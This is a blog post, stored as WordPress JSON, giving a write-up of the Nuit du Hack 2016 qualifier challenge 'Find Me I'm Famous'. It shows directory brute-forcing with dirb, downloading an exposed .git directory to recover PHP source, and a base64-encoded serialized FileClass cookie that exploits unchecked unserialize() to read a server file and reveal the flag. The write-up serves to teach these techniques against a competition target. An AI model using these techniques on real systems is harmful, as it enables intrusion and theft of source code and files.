{"id":1946,"date":"2016-04-03T00:22:36","date_gmt":"2016-04-02T22:22:36","guid":{"rendered":"https:\/\/www.asafety.fr\/?p=1946"},"modified":"2016-07-25T00:35:03","modified_gmt":"2016-07-24T22:35:03","slug":"ctf-ndh-2016-quals-write-up-webapp-find-me-im-famous","status":"publish","type":"post","link":"https:\/\/www.asafety.fr\/en\/vuln-exploit-poc\/ctf-ndh-2016-quals-write-up-webapp-find-me-im-famous\/","title":{"rendered":"[CTF NDH 2016 Quals] Write-Up &#8211; WebApp : Find Me I&#8217;m Famous"},"content":{"rendered":"<p><\/p>\n<p style=\"text-align: center;\"><strong>Write-up of the challenge \u201cWebApp &#8211; Find Me I&#8217;m Famous\u201d of Nuit du\u00a0Hack 2016 CTF qualifications.<\/strong><\/p>\n<div class=\"panel panel-success\">\n<p>The weekend of 04\/01\/2016 is pre-qualification for the <strong><a href=\"https:\/\/nuitduhack.com\/fr\/\" target=\"_blank\">Nuit du Hack 2016<\/a><\/strong>\u00a0as a <strong>Jeopardy CTF<\/strong>. Having had the opportunity and the time to participate with some colleagues and friends, here\u2019s a write-up resolution of the challenges which we could participate.<\/p>\n<ul>\n<li>Category: <strong>WebApp<\/strong><\/li>\n<li>Name: <strong>Find Me I&#8217;m Famous<\/strong><\/li>\n<li>Description : <em>Hey Dude! This authentication annoys me, please help!<\/em><\/li>\n<li>URL : http:\/\/findmeimfamous.quals.nuitduhack.com<\/li>\n<li>Points :\u00a0<strong>100<\/strong><\/li>\n<\/ul>\n<p>By visiting the challenge page &#8220;http:\/\/findmeimfamous.quals.nuitduhack.com&#8221;, we visualized a form requesting a &#8220;login&#8221; and &#8220;age&#8221;. No check on the format of the input data.<\/p>\n<div id=\"attachment_1947\" style=\"width: 310px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/01.png\" rel=\"attachment wp-att-1947\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-1947\" class=\"wp-image-1947 size-medium\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/01-300x218.png\" alt=\"First page\" width=\"300\" height=\"218\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/01-300x218.png 300w, https:\/\/www.asafety.fr\/wp-content\/uploads\/01.png 758w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-1947\" class=\"wp-caption-text\">First page<\/p><\/div>\n<p>After entering a login and arbitrary age, a new page asks us to identify:<\/p>\n<div id=\"attachment_1948\" style=\"width: 310px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/02.png\" rel=\"attachment wp-att-1948\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-1948\" class=\"wp-image-1948 size-medium\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/02-300x188.png\" alt=\"Identification page\" width=\"300\" height=\"188\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/02-300x188.png 300w, https:\/\/www.asafety.fr\/wp-content\/uploads\/02.png 747w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-1948\" class=\"wp-caption-text\">Identification page<\/p><\/div>\n<p>Upon completion of identification, we arrive on the page &#8220;result.php&#8221; that shows us the welcome message with information related to our age:<\/p>\n<div id=\"attachment_1949\" style=\"width: 310px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/03.png\" rel=\"attachment wp-att-1949\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-1949\" class=\"wp-image-1949 size-medium\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/03-300x78.png\" alt=\"result.php\" width=\"300\" height=\"78\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/03-300x78.png 300w, https:\/\/www.asafety.fr\/wp-content\/uploads\/03-768x200.png 768w, https:\/\/www.asafety.fr\/wp-content\/uploads\/03-1024x266.png 1024w, https:\/\/www.asafety.fr\/wp-content\/uploads\/03.png 1377w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-1949\" class=\"wp-caption-text\">result.php<\/p><\/div>\n<p>We observe the exchanges made during the various requests and we note that the destination page &#8220;result.php&#8221; a &#8220;cook&#8221; cookie is included in the request.<\/p>\n<div id=\"attachment_1950\" style=\"width: 310px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/05.png\" rel=\"attachment wp-att-1950\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-1950\" class=\"wp-image-1950 size-medium\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/05-300x168.png\" alt=\"Legitimate cookie\" width=\"300\" height=\"168\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/05-300x168.png 300w, https:\/\/www.asafety.fr\/wp-content\/uploads\/05-768x431.png 768w, https:\/\/www.asafety.fr\/wp-content\/uploads\/05-370x208.png 370w, https:\/\/www.asafety.fr\/wp-content\/uploads\/05.png 1017w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-1950\" class=\"wp-caption-text\">Legitimate cookie<\/p><\/div>\n<pre>Cookie=PHPSESSID=kdf7p64lmaqpkp9nufqbi1gqn0; cook=Tzo0OiJVc2VyIjoyOntzOjM6ImFnZSI7czozOiJ4eHgiO3M6NDoibmFtZSI7czo0OiJ5Y2FtIjt9<\/pre>\n<p>The value of &#8220;cook&#8221; can be URL-decoded and base64-decoded to give:<\/p>\n<pre>O:4:\"User\":2:{s:3:\"age\";s:3:\"xxx\";s:4:\"name\";s:4:\"ycam\";}<\/pre>\n<p>This cookie thus contains the image of our &#8220;User&#8221; object \u00a0serialized and encoded in base64. On reading this serialized format is deduced:<\/p>\n<ul>\n<li>A &#8220;User&#8221; class is defined on the server side<\/li>\n<li>This class has 2 public attributes in the form of string\n<ul>\n<li>age<\/li>\n<li>name<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p>Looking at the source code of the page, one notices the presence of the &#8220;&lt;meta&gt;&#8221; indicating the author:<\/p>\n<div id=\"attachment_1959\" style=\"width: 310px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/11.png\" rel=\"attachment wp-att-1959\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-1959\" class=\"wp-image-1959 size-medium\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/11-300x84.png\" alt=\"Author\" width=\"300\" height=\"84\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/11-300x84.png 300w, https:\/\/www.asafety.fr\/wp-content\/uploads\/11-768x215.png 768w, https:\/\/www.asafety.fr\/wp-content\/uploads\/11-1024x286.png 1024w, https:\/\/www.asafety.fr\/wp-content\/uploads\/11.png 1033w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-1959\" class=\"wp-caption-text\">Author<\/p><\/div>\n<p>Some investigations take us on <a href=\"http:\/\/tympanus.net\/codrops\/2012\/03\/27\/login-and-registration-form-with-html5-and-css3\/\" target=\"_blank\">tympanus<\/a>, to download an\u00a0HTML \/ CSS package of this model of login \/ registration module. But\u00a0the package contains no such server side code such as those in place for the challenge (index.php, result.php, etc.).<\/p>\n<p>The analysis was continued by launching a directories guessing on target:<\/p>\n<pre>dirb http:\/\/findmeimfamous.quals.nuitduhack.com \/usr\/share\/wordlists\/dirb\/common.txt\r\n-----------------\r\nDIRB v2.22\r\nBy The Dark Raver\r\n-----------------\r\nSTART_TIME: Sat Apr 2 20:13:53 2016\r\nURL_BASE: http:\/\/findmeimfamous.quals.nuitduhack.com\/\r\nWORDLIST_FILES: \/usr\/share\/wordlists\/dirb\/common.txt\r\n-----------------\r\nGENERATED WORDS: 4612\r\n---- Scanning URL: http:\/\/findmeimfamous.quals.nuitduhack.com\/ ----\r\n+ http:\/\/findmeimfamous.quals.nuitduhack.com\/cgi-bin\/ (CODE:403|SIZE:217)\r\n==&gt; DIRECTORY: http:\/\/findmeimfamous.quals.nuitduhack.com\/css\/\r\n==&gt; DIRECTORY: http:\/\/findmeimfamous.quals.nuitduhack.com\/git\/\r\n==&gt; DIRECTORY: http:\/\/findmeimfamous.quals.nuitduhack.com\/images\/\r\n+ http:\/\/findmeimfamous.quals.nuitduhack.com\/index.php (CODE:200|SIZE:2382)\r\n+ http:\/\/findmeimfamous.quals.nuitduhack.com\/server-status (CODE:403|SIZE:222)\r\n---- Entering directory: http:\/\/findmeimfamous.quals.nuitduhack.com\/css\/ ----\r\n(!) WARNING: Directory IS LISTABLE. No need to scan it.\r\n (Use mode '-w' if you want to scan it anyway)\r\n---- Entering directory: http:\/\/findmeimfamous.quals.nuitduhack.com\/git\/ ----\r\n(!) WARNING: Directory IS LISTABLE. No need to scan it.\r\n (Use mode '-w' if you want to scan it anyway)\r\n---- Entering directory: http:\/\/findmeimfamous.quals.nuitduhack.com\/images\/ ----\r\n(!) WARNING: Directory IS LISTABLE. No need to scan it.\r\n (Use mode '-w' if you want to scan it anyway)\r\n-----------------\r\nEND_TIME: Sat Apr 2 20:18:05 2016\r\nDOWNLOADED: 4612 - FOUND: 3<\/pre>\n<p>Interesting! A &#8220;git&#8221; directory browsable is at the root of server:<\/p>\n<div id=\"attachment_1951\" style=\"width: 230px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/04.png\" rel=\"attachment wp-att-1951\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-1951\" class=\"wp-image-1951 size-medium\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/04-220x300.png\" alt=\"git directory listable\" width=\"220\" height=\"300\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/04-220x300.png 220w, https:\/\/www.asafety.fr\/wp-content\/uploads\/04-300x409.png 300w, https:\/\/www.asafety.fr\/wp-content\/uploads\/04.png 511w\" sizes=\"auto, (max-width: 220px) 100vw, 220px\" \/><\/a><p id=\"caption-attachment-1951\" class=\"wp-caption-text\">git directory listable<\/p><\/div>\n<p>It seems that this directory called &#8220;git&#8221;, corresponds to a technical versioning directory of the eponymous tool named &#8220;.git&#8221; within a repos.<\/p>\n<p>I also want to refer you to the excellent article <a href=\"https:\/\/en.internetwache.org\/dont-publicly-expose-git-or-how-we-downloaded-your-websites-sourcecode-an-analysis-of-alexas-1m-28-07-2015\/\" target=\"_blank\">InternetWache<\/a>, which details the dangers and <a href=\"https:\/\/github.com\/internetwache\/GitTools\" target=\"_blank\">presents various tools<\/a> to retrieve the full source code of a website from information leaks from his &#8220;.git&#8221; directory exposed; this directory can be\u00a0browsable (Index Of) or not!<\/p>\n<p>We can\u00a0continue through the recursive copy of the entire contents of this directory:<\/p>\n<pre>wget --mirror -I git http:\/\/findmeimfamous.quals.nuitduhack.com\/git\/<\/pre>\n<p>We rename the configuration directory and clean some residual files due to the Index of:<\/p>\n<pre>mv git .git\r\nrm .git\/index.html*\r\nrm .git\/refs\/index.html*<\/pre>\n<p>So we have the technical repertoire &#8220;.git&#8221; of the challenge, without source code and project files themselves. Check the integrity and the last events of the deposits:<\/p>\n<pre># git status\r\nSur la branche master\r\nVotre branche est \u00e0 jour avec 'origin\/master'.\r\nModifications qui ne seront pas valid\u00e9es :\r\n (utilisez \"git add\/rm &lt;fichier&gt;...\" pour mettre \u00e0 jour ce qui sera valid\u00e9)\r\n (utilisez \"git checkout -- &lt;fichier&gt;...\" pour annuler les modifications dans la copie de travail)\r\nsupprim\u00e9\u00a0: README.md\r\n supprim\u00e9\u00a0: app\/.buildpath\r\n supprim\u00e9\u00a0: app\/.project\r\n supprim\u00e9\u00a0: app\/.settings\/org.eclipse.php.core.prefs\r\n supprim\u00e9\u00a0: app\/.settings\/org.eclipse.wst.common.project.facet.core.xml\r\n supprim\u00e9\u00a0: app\/config.php\r\n supprim\u00e9\u00a0: app\/css\/animate-custom.css\r\n supprim\u00e9\u00a0: app\/css\/demo.css\r\n supprim\u00e9\u00a0: app\/css\/fonts\/BebasNeue-webfont.eot\r\n supprim\u00e9\u00a0: app\/css\/fonts\/BebasNeue-webfont.svg\r\n supprim\u00e9\u00a0: app\/css\/fonts\/BebasNeue-webfont.ttf\r\n supprim\u00e9\u00a0: app\/css\/fonts\/BebasNeue-webfont.woff\r\n supprim\u00e9\u00a0: app\/css\/fonts\/Dharma Type Font License.txt\r\n supprim\u00e9\u00a0: app\/css\/fonts\/fontomas-webfont.eot\r\n supprim\u00e9\u00a0: app\/css\/fonts\/fontomas-webfont.svg\r\n supprim\u00e9\u00a0: app\/css\/fonts\/fontomas-webfont.ttf\r\n supprim\u00e9\u00a0: app\/css\/fonts\/fontomas-webfont.woff\r\n supprim\u00e9\u00a0: app\/css\/fonts\/franchise-bold-webfont.eot\r\n supprim\u00e9\u00a0: app\/css\/fonts\/franchise-bold-webfont.svg\r\n supprim\u00e9\u00a0: app\/css\/fonts\/franchise-bold-webfont.ttf\r\n supprim\u00e9\u00a0: app\/css\/fonts\/franchise-bold-webfont.woff\r\n supprim\u00e9\u00a0: app\/css\/style.css\r\n supprim\u00e9\u00a0: app\/css\/style2.css\r\n supprim\u00e9\u00a0: app\/css\/style3.css\r\n supprim\u00e9\u00a0: app\/fileclasse.php\r\n supprim\u00e9\u00a0: app\/images\/ImageAttribution.txt\r\n supprim\u00e9\u00a0: app\/images\/bg.jpg\r\n supprim\u00e9\u00a0: app\/index.php\r\n supprim\u00e9\u00a0: app\/result.php\r\n supprim\u00e9\u00a0: app\/ufhkistgfj.php\r\n supprim\u00e9\u00a0: app\/userclass.php\r\naucune modification n'a \u00e9t\u00e9 ajout\u00e9e \u00e0 la validation (utilisez \"git add\" ou \"git commit -a\")<\/pre>\n<p>Interesting &#8230; Reinitialize\u00a0deposit and the original source code!<\/p>\n<pre># git checkout -- .\r\n# ll app\/\r\ntotal 56\r\ndrwxr-xr-x 5 root root 4096 avril 2 20:27 .\r\ndrwxr-xr-x 4 root root 4096 avril 2 20:27 ..\r\n-rw-r--r-- 1 root root 174 avril 2 20:27 .buildpath\r\n-rw-r--r-- 1 root root 22 avril 2 20:27 config.php\r\ndrwxr-xr-x 3 root root 4096 avril 2 20:27 css\r\n-rw-r--r-- 1 root root 159 avril 2 20:27 fileclasse.php\r\ndrwxr-xr-x 2 root root 4096 avril 2 20:27 images\r\n-rw-r--r-- 1 root root 5093 avril 2 20:27 index.php\r\n-rw-r--r-- 1 root root 725 avril 2 20:27 .project\r\n-rw-r--r-- 1 root root 2012 avril 2 20:27 result.php\r\ndrwxr-xr-x 2 root root 4096 avril 2 20:27 .settings\r\n-rw-r--r-- 1 root root 26 avril 2 20:27 ufhkistgfj.php\r\n-rw-r--r-- 1 root root 266 avril 2 20:27 userclass.php<\/pre>\n<p>We can now see the challenge&#8217;s files:<\/p>\n<pre># cat config.php\r\nNOT here ...<\/pre>\n<p>A particular file name intrigues us:<\/p>\n<pre># cat ufhkistgfj.php\r\n#I will add the flag here<\/pre>\n<\/div>\n<p>This file\u00a0must have the &#8220;flag&#8221; in production. Check the &#8220;result.php&#8221;:<\/p>\n<pre># cat result.php\r\n&lt;?php\r\ninclude('.\/userclass.php');\r\ninclude('.\/fileclasse.php');\r\nsession_start();\r\nif (isset($_COOKIE[\"cook\"]) &amp;&amp; !empty($_COOKIE[\"cook\"])){\r\n $obj = unserialize(base64_decode($_COOKIE['cook']));\r\nob_start();\r\n echo $obj;\r\n$ff = $obj-&gt;name;\r\n }\r\n if(isset($_POST[\"name_2\"]) &amp;&amp; !empty($_POST['name_2']) &amp;&amp; $ff==$_POST['name_2'])\r\n {\r\n?&gt;\r\n&lt;!DOCTYPE html&gt;\r\n&lt;!--[if lt IE 7 ]&gt; &lt;html lang=\"en\" class=\"no-js ie6 lt8\"&gt; &lt;![endif]--&gt;\r\n&lt;!--[if IE 7 ]&gt; &lt;html lang=\"en\" class=\"no-js ie7 lt8\"&gt; &lt;![endif]--&gt;\r\n&lt;!--[if IE 8 ]&gt; &lt;html lang=\"en\" class=\"no-js ie8 lt8\"&gt; &lt;![endif]--&gt;\r\n&lt;!--[if IE 9 ]&gt; &lt;html lang=\"en\" class=\"no-js ie9\"&gt; &lt;![endif]--&gt;\r\n&lt;!--[if (gt IE 9)|!(IE)]&gt;&lt;!--&gt; &lt;html lang=\"en\" class=\"no-js\"&gt; &lt;!--&lt;![endif]--&gt;\r\n &lt;head&gt;\r\n &lt;meta charset=\"UTF-8\" \/&gt;\r\n &lt;!-- &lt;meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge,chrome=1\"&gt; --&gt;\r\n &lt;title&gt;index&lt;\/title&gt;\r\n &lt;meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\"&gt;\r\n &lt;meta name=\"description\" content=\"Login and Registration Form with HTML5 and CSS3\" \/&gt;\r\n &lt;meta name=\"keywords\" content=\"html5, css3, form, switch, animation, :target, pseudo-class\" \/&gt;\r\n &lt;meta name=\"author\" content=\"Codrops\" \/&gt;\r\n &lt;link rel=\"shortcut icon\" href=\"..\/favicon.ico\"&gt;\r\n &lt;link rel=\"stylesheet\" type=\"text\/css\" href=\"css\/demo.css\" \/&gt;\r\n &lt;link rel=\"stylesheet\" type=\"text\/css\" href=\"css\/style.css\" \/&gt;\r\n &lt;link rel=\"stylesheet\" type=\"text\/css\" href=\"css\/animate-custom.css\" \/&gt;\r\n &lt;\/head&gt;\r\n &lt;body&gt;\r\n &lt;div class=\"container\"&gt;\r\n&lt;section&gt;\r\n &lt;div id=\"container_demo\" &gt;\r\n &lt;div id=\"wrapper\"&gt;\r\n &lt;div id=\"login\" class=\"animate form\"&gt;\r\n&lt;h1&gt;TEST&lt;\/h1&gt; &lt;br\/&gt;&lt;p&gt; TEXT&lt;\/p&gt;\r\n&lt;\/div&gt;\r\n &lt;\/div&gt;\r\n &lt;\/div&gt;\r\n &lt;\/section&gt;\r\n &lt;\/div&gt;\r\n &lt;\/body&gt;\r\n&lt;\/html&gt;\r\n&lt;?php\r\n}\r\n else {\r\n header(\"location: index.php\");\r\n}\r\n?&gt;<\/pre>\n<p>It is this page that retrieve our cookie value &#8220;cook&#8221; after the base64 decoding, then unserializes\u00a0the object content. No typing checks of the object class or cast is performed. The final vulnerability\u00a0can be seen&#8230;<\/p>\n<p>Note also that once the object &#8220;$obj&#8221; is regenerated a &#8220;echo $obj;&#8221; is realised, which has the effect of automatically call the magic method &#8220;__toString ()&#8221; (if present) in the object. Check if this method is present in our object &#8220;User&#8221; defined in &#8220;userclass.php&#8221;:<\/p>\n<pre># cat userclass.php\r\n&lt;?php\r\nclass User\r\n{\r\n \/\/ Class data\r\npublic $age = 0;\r\n public $name = '';\r\n\/\/ Allow object to be used as a String\r\npublic function __toString()\r\n {\r\n return 'Hello ' . $this-&gt;name . ' you have ' . $this-&gt;age . ' years old. &lt;br \/&gt;';\r\n }\r\n}\r\n?&gt;<\/pre>\n<p>Yes! The assumptions on the class definition format &#8220;User&#8221; issued at the beginning by reading the serialized cookie is confirmed. A method &#8220;__toString ()&#8221; is present and it is that which generates the message &#8220;<em>Hello ycam you-have xxx years old.<\/em>&#8221; shown above.<\/p>\n<p>But there remains an unused file so far among the sources: fileclasse.php:<\/p>\n<pre># cat fileclasse.php\r\n&lt;?php\r\nclass FileClass\r\n{\r\npublic $filename = 'error.log';\r\npublic function __toString()\r\n {\r\n return file_get_contents($this-&gt;filename);\r\n }\r\n}<\/pre>\n<p>This simple class, never called \/ instantiated in the project, has an almost similar structure to the User class; but\u00a0only one attribute is defined (the name of the file whose contents will be read through\u00a0the call of the __toString () method). Yes, this class also has its __toString () method defined! The idea now will be to regenerate a cookie of an object &#8220;FileClass&#8221; rather than &#8220;User&#8221; serialized, to call the __toString () method to read the contents of &#8220;ufhkistgfj.php&#8221; file.<\/p>\n<p>Changing the serialized object and its equivalent in base64:<\/p>\n<pre>O:9:\"FileClass\":1:{s:8:\"filename\";s:14:\"ufhkistgfj.php\";}\r\nTzo5OiJGaWxlQ2xhc3MiOjE6e3M6ODoiZmlsZW5hbWUiO3M6MTQ6InVmaGtpc3RnZmoucGhwIjt9<\/pre>\n<p>Injecting the cookie in the request to &#8220;result.php&#8221;, our &#8220;FileClass&#8221; class with attribute &#8220;$filename = &#8216;ufhkistgfj.php&#8221; will be\u00a0unserialized and its __toString () method will becalled:<\/p>\n<div id=\"attachment_1952\" style=\"width: 310px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/06.png\" rel=\"attachment wp-att-1952\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-1952\" class=\"wp-image-1952 size-medium\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/06-300x168.png\" alt=\"FileClass cookie encoded\" width=\"300\" height=\"168\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/06-300x168.png 300w, https:\/\/www.asafety.fr\/wp-content\/uploads\/06-768x431.png 768w, https:\/\/www.asafety.fr\/wp-content\/uploads\/06-370x208.png 370w, https:\/\/www.asafety.fr\/wp-content\/uploads\/06.png 1017w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-1952\" class=\"wp-caption-text\">FileClass cookie encoded<\/p><\/div>\n<p>Results:<\/p>\n<div id=\"attachment_1953\" style=\"width: 310px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/07.png\" rel=\"attachment wp-att-1953\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-1953\" class=\"wp-image-1953 size-medium\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/07-300x168.png\" alt=\"ufhkistgfj.php\" width=\"300\" height=\"168\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/07-300x168.png 300w, https:\/\/www.asafety.fr\/wp-content\/uploads\/07-768x431.png 768w, https:\/\/www.asafety.fr\/wp-content\/uploads\/07-370x208.png 370w, https:\/\/www.asafety.fr\/wp-content\/uploads\/07.png 1017w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-1953\" class=\"wp-caption-text\">ufhkistgfj.php<\/p><\/div>\n<p>Flag :\u00a0<strong>NDH[bsnae6PcNyrWZ82Q8v6pfJ6C6HG433L6]<\/strong><\/p>\n<p>Greeting to\u00a0<a href=\"http:\/\/www.information-security.fr\/\" target=\"_blank\">nj8<\/a>, <a href=\"http:\/\/0xbadcoded.com\/\" target=\"_blank\">St0rn<\/a>, <a href=\"http:\/\/www.georgestaupin.com\/\" target=\"_blank\">Emiya<\/a>, Mido, downg(r)ade,\u00a0Ryuk@n and\u00a0rikelm, \ud83d\ude09\u00a0\/\/ Gr3etZ<\/p>\n<p><strong>Sources &amp; ressources :<\/strong><\/p>\n<ul>\n<li><a href=\"https:\/\/www.insomniasec.com\/downloads\/publications\/Practical%20PHP%20Object%20Injection.pdf\" target=\"_blank\">Pratical PHP Object injection &#8211; Insomniasec<\/a><\/li>\n<li><a href=\"http:\/\/tympanus.net\/codrops\/2012\/03\/27\/login-and-registration-form-with-html5-and-css3\/\" target=\"_blank\">Codrops &#8211; Login and registration form<\/a><\/li>\n<li><a href=\"https:\/\/en.internetwache.org\/dont-publicly-expose-git-or-how-we-downloaded-your-websites-sourcecode-an-analysis-of-alexas-1m-28-07-2015\/\" target=\"_blank\">Don&#8217;t publicly expose .git or how we downloaded your website&#8217;s sourcecode &#8211; An analysis of Alexa&#8217;s 1M<\/a><\/li>\n<li><a href=\"https:\/\/nuitduhack.com\/fr\/\" target=\"_blank\">NDH 2016<\/a><\/li>\n<\/ul>\n<p><\/p>","protected":false},"excerpt":{"rendered":"<p>Write-up of the challenge \u201cWebApp &#8211; Find Me I&#8217;m Famous\u201d of Nuit du\u00a0Hack 2016 CTF qualifications. The weekend of 04\/01\/2016 [&hellip;]<\/p>\n","protected":false},"author":1337,"featured_media":1963,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[524,523,526,527,452,14],"tags":[462,458,456,461,455,460,463,457,459],"class_list":["post-1946","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-ctf","category-events","category-ndh","category-ndh2k16","category-php-object-injection-vuln-exploit-poc","category-vuln-exploit-poc","tag-__tostring","tag-find-me-im-famous","tag-joepardy","tag-php-object-injection","tag-qualifications","tag-serialize","tag-unserialize","tag-webapp","tag-write-up"],"_links":{"self":[{"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/posts\/1946","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/users\/1337"}],"replies":[{"embeddable":true,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/comments?post=1946"}],"version-history":[{"count":11,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/posts\/1946\/revisions"}],"predecessor-version":[{"id":1988,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/posts\/1946\/revisions\/1988"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/media\/1963"}],"wp:attachment":[{"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/media?parent=1946"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/categories?post=1946"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/tags?post=1946"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}